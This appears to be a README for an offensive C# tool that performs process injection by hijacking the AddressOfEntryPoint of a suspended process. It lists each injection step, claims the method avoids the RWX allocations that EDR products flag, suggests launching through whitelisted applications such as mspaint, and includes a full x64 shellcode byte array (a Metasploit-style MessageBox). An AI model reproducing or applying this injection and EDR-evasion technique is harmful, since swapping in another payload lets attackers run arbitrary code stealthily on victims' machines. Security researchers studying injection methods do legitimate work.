AddressOfEntryPoint_Hijack_CSharp
Blog link: not gonna update
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Shellcode injection or execution via AddressOfEntryPoint hijack.
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Base on my other projects down below:
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Tested on Win10/x64
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Steps
- Create a process in a suspended status with "CreateProcess".
- Finding process's PEB address.
- Finding the process's "ImageBase_address" via PEB.
- Finding the RVA(AddressOfEntryPoint) via ImageBase_address(Function: Locate_AddressOfEntryPoint).
- AddressOfEntryPoint_address = ImageBase_address + RVA.
- Write your shellcode(buf1) into AddressOfEntryPoint_address with "WriteProcessMemory".
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**NOTE: If you use NtWriteVirtualMemory insteal of WriteProcessMemory, you gonna get an error.if you really want to use NtWriteVirtualMemory, you may need to change the protect status of the page.
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In this technique we don't need to allocate RWX memory pages in the victim process which some EDRs may not like.
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buf1 down below is a messagebox.
/* MessageBox */
byte[] buf1 = new byte[323] {
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,
0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,
0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 };
Usage
- Launch through a white-list application
- Launch with mspaint
- details
TO-DO list
- NONE
Reference link:
- https://www.displayfusion.com/Discussions/View/converting-c-data-types-to-c/?ID=38db6001-45e5-41a3-ab39-8004450204b3
- http://www.qfrost.com/WindowsKernel/WriteProcessMemory/
- https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx
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